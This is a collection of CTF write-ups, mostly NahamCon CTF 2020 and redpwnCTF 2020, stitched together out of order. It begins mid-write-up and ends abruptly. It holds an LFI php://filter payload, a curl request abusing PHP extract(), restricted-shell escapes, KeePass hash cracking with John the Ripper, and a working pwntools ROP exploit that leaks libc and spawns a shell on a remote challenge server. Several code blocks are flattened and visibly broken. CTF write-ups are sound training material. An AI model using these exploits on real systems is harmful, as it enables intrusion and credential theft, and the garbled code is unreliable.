CandroidI think I can, I think I can! Download the file below.\[candroid.apk](assets//files//candroid.apk) **flag{4ndr0id_1s_3asy}** **Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag: ![](assets//images//candroid.png) ## Simple AppHere's a simple Android app. Can you get the flag? Download the file below.\[candroid.apk](assets//files//simple-app.apk) **flag{3asY_4ndr0id_r3vers1ng}** **Solution:** same as previous challenge: ![](assets//images//simple_app.png) ## Ends MeetAre you a true mobile hacker? Download the file below. **flag{rev3rsIng_ApKs_l1k3_A_Pr0}** **Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0` ***# Miscellaneous ## VortexWill you find the flag, or get lost in the vortex? Connect here:\`nc jh2i.com 50017` **flag{more_text_in_the_vortex}** **Solution:** With the challenge we are given a server to connect to, if we try connecting we get... ![](assets//images//vortex.png) ...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag: ![](assets//images//vortex_1.png) ## Fake fileWait... where is the flag? Connect here:\`nc jh2i.com 50026` **flag{we_should_have_been_worried_about_u2k_not_y2k}** **Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell: ![](assets//images//fake_file.png) seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/): ![](assets//images//fake_file_2.png) ## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out? Connect here:\`nc jh2i.com 50024` **flag{congrats_you_just_escaped_alkatraz}** **Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it: ![](assets//images//alkatraz.png) I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag: ![](assets//images//alkatraz_2.png) ## TrappedHelp! I'm trapped! Connect here:\nc jh2i.com 50019 **flag{you_activated_my_trap_card}** **Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco. Connect here:`nc jh2i.com 50025` **flag{okay_well_this_is_even_more_awkward}** **Solution:** use grep to find cat all files and grep only to flag format ```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025 s = remote(host,port) name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()``` ***# Scripting ## DinaHelp! I can't make any sense out of what Dina is saying, can you?? Connect with:`nc jh2i.com 50035` **Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}** **Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself. **Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous: ![](assets//images//dina_1.png) It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis. In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run): `send back yirkbmusswnqmhq as a string` and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can. At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that): ```python 3import refrom pwn import remotefrom random import choice # The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'} # The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, } def beautify_data(msg): return str(msg)[2:-3].replace("\\n","") # frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency) host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1: # Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0) # Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)} # The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]]) plaintext = ''.join(plaintext) if 'nope' in plaintext: break print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters)) response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break print(response) s.send(response.upper()) index += 1 print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag: ![](assets//images//dina_2.png) actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial. ## RottenIck, this salad doesn't taste too good! Connect with:\`nc jh2i.com 50034` **flag{now_you_know_your_caesars}** **Solution:** server response is ceaser cipher encrypted, code: ```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()``` ## Really powerful GnomesOnly YOU can save the village! Connect with:`nc jh2i.com 50031` **flag{it_was_in_fact_you_that_was_really_powerful}** **Solution:** Automate going on adventure and buying weapons: ```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()``` *** # Web ## Agent 95They've given you a number, and taken away your name~ Connect here:\http://jh2i.com:50000 **flag{user_agents_undercover}** **Solution:** Change User agent to Windows 95 ## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore?? Connect here:\http://jh2i.com:50003 **JCTF{spoooooky_ghosts_in_storage}** **Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes ## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency! Connect here:\http://jh2i.com:50002 **flag{phon3_numb3r_3xtr4ct3d}** **Solution:** With the challenge we are given a website with the following index page: ![](assets//images//phphonebook_1.png) so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page: `http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php` and by going to this url we get the file base64 encoded: ![](assets//images//phphonebook_2.png) ```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php The phonebook is located at phphonebook.php <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>``` we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1> <div id="im_container"> This phphonebook was made to look up all sorts of numbers! Have fun... This phphonebook was made to look up all sorts of numbers! Have fun... </div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div> <div id="php_container"> </div> <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page: ![](assets//images//phphonebook_3.png) burp suite catches the request and allows us to edit it: ![](assets//images//phphonebook_4.png) we now only need to add an emergency variable and we get the flag: ![](assets//images//phphonebook_5.png) ![](assets//images//phphonebook_6.png) with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag: ![](assets//images//phphonebook_7.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# coffer-overflow-1 ## TLDR* BOF ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped result of checksec* RELRO : Partial RELRO* Canary : Disable* NX : Enable* PIE : Disable ### Exploit Simple buffer over flow challenge. Nothing more to say. My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/redpwn/pwn/coffer-overflow-1/solve.py). ## Reference twitter: @kam1tsur3
# the-library ## TLDR* BOF* ROP * leak the address of libc * return to one gadget rce ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped result of checksec* RELRO : Partial RELRO* Canary : Disable* NX : Enable* PIE : Disable libc version: 2.27### Exploit There is a vulnerability of buffer overflow. I made ROP chain by which I leaked the address of libc and returned to main func. At the seccond time of main routine, I triggered BOF again and returned to one gagdet rce. My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/redpwn/pwn/the-library/solve.py). ## Reference twitter: @kam1tsur3
# four-function-heap ## TLDR* tcache double free * overwrite tcache\_perthread\_struct * overwrite the value of free\_hook to one gadget rce* UAF * leak heap address * leak libc address ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Stripped result of checksec* RELRO : FullRELRO* Canary : Enable* NX : Enable* PIE : Enable libc version: 2.27 (in given dockerfile)### Exploit In this binary, We can choose 3 commands, 1. alloc * giving three parameters, index, size and data * call malloc() and read() into allocated chunk2. free * free allocated chunk * freed ptr is not cleared (use after free)3. show * print the value of allocated chunk We can do these commands only 15 times. It makes this challenge more difficult. My exploit flow is shown below. 1. Trigger tcache double free and show heap base.2. Get a chunk which is overlapped tcache\_perthred\_sturut by using tcache poisoning.3. Overwrite array count[] in tcache\_perthred\_sturut in order to next freed chunk is connected unsorted bin.4. Leak libc address by show command5. Get a chunk which is overlapped free\_hook and overwrite free\_hook to one gadget rce. My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/redpwn/pwn/four-function-heap/solver/solve.py). ## Reference twitter: @kam1tsur3
# Command 1 Author: [roerohan](https://github.com/roerohan) This is an alternate solution to this challenge. The intended solution is not written here. # Requirements - None # Source - [command_1](./command_1) # Exploitation The challenge was intended to be a binary exploit challenge, however, due to a small issue, there was another bug in it. So, when you decompile the code using `ghidra`, you see that the `Add command` option uses `strstr` to block certain strings in the input. But, the same ones are not blocked in the `Edit command` option. The solution seems simple :laugh:.
[Read Writeup](https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/itsy-bitsy/itsy-bitsy.md)(https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/itsy-bitsy/itsy-bitsy.md)
# secret-flag ## TLDR* FSB * Read flag string on stack ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Stripped result of checksec* RELRO : Full RELRO* Canary : Enable * NX : Enable* PIE : Enable ### Exploit There is a format string bug in the binary. \"flag.txt\" is opened and read into the chunk which allocated before. And the address of the chunk is stored on the stack. So we can read flag strings using a format string like "%X$s". My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/redpwn/pwn/secret-flag/solve.py). ## Reference twitter: @kam1tsur3
# redpwnCTF-coffer-overflow-0-coffer-overflow-1-coffer-overflow-2 These were most simple and first 3 questions of redpwnCTF ''' ALL of them have no security functionality enabled ''' Coffer-Overflow-0 This question is simple, the variable code is first element to be overflown after buffer overflow.So,we just need to supply more input than what is required to overflow the stack To overflow rip, we need rbp+8 bytes= 16+8 input bytesAdding anything to the stack, will cause buffer-overflow and overwrite the first variable named ''code'' Coffer-Overflow-1 Similar to previous one, just difference being the variable "code" has to be replaced by value 0xdeadbeef.Eaxctly the same procedure, just add the value that we want to write after 24 bytes(rbp + 8) COffer-Overflow-2 Again the same, just we need to add the value of function binFunction() after buffer overflow gdb-peda$ info functionsbinFunction 0x4006e7 Just add that value after overflow.
[Read Writeup](https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/base646464/base646464.md)(https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/base646464/base646464.md)
# redpwnCTF-secret-flag An easy example of format-string vulnerability, wherein elf binary leaks stack objects by inputing format specifiers. We do a brute-force, enumerating all string items on stack # flag{n0t_s0_s3cr3t_f1ag_n0w}
# redpwnCTF Task: the-library {pwn} # All lines in script have been explained in script itself through 'comments' Writeup of CTF questions Files provided to us: libc.so.6 ; the-library ; the-library.c It was a simple question based on rop exploitation, wherein we have a buffer overflow vulnerability in read() function. ASLR + NX PROTECTION have been enabled, thus we use ROP gadgets to leak addresses of base_address and system. Once we have the address to the system(), we could easily rop chain to pop_rdi gadget and pop in the address of /bin/sh string and thus spawn a new shell. # All initial addresses that I had to enumerate before starting exploitation: binsh_offset = hex(libc.search("/bin/sh\x00").next()) puts_offset = hex(libc.symbols['puts']) system_offset = hex(libc.symbols['system']) puts_got take this address from objdump -R <file>| grep 'puts' puts_plt = hex(elf.symbols['puts']) NOTE: _start symbol helps us to re-run the program after address enumeration ; we can get its value by simply running 'info functions' command in gdb Tool Ropper was used to enumerate rop gadgets that might be useful to us $ ropper -- file the-library --search "% ?di"0x0000000000400733: pop rdi; ret; # Stack alignation was required while we re-run the binary(after enumeraation of all addresses), thus a single ROP gadgets was used to align the stack # flag{jump_1nt0_th3_l1brary}
Spoof user agent with value that parses as Windows 95 (per the challenge description). [Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#agent-95)
[Read Writeup](https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/alien-transmissions-v2/alien-transmissions-v2.md)(https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/alien-transmissions-v2/alien-transmissions-v2.md)
```from pwn import * r=remote('2020.redpwnc.tf', 31350) elf = ELF('the-library') pop_rdi = 0x0000000000400733 r.sendlineafter('name?', 'a'*24+p64(pop_rdi) + p64(elf.got['setbuf'])+p64(elf.plt['puts'])+p64(elf.symbols['_start']))print r.recvline()print r.recvline()print r.recvline()setbuf_adr = u64(r.recvline().strip().ljust(8,'\x00')) libc = ELF('libcso') libc_off = setbuf_adr - libc.symbols['setbuf'] one_gadget = 0x4f322 + libc_offprint hex(libc_off) r.sendlineafter('name?', 'a'*24+p64(one_gadget))r.interactive()```
# **NahamCon CTF 2020** This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is 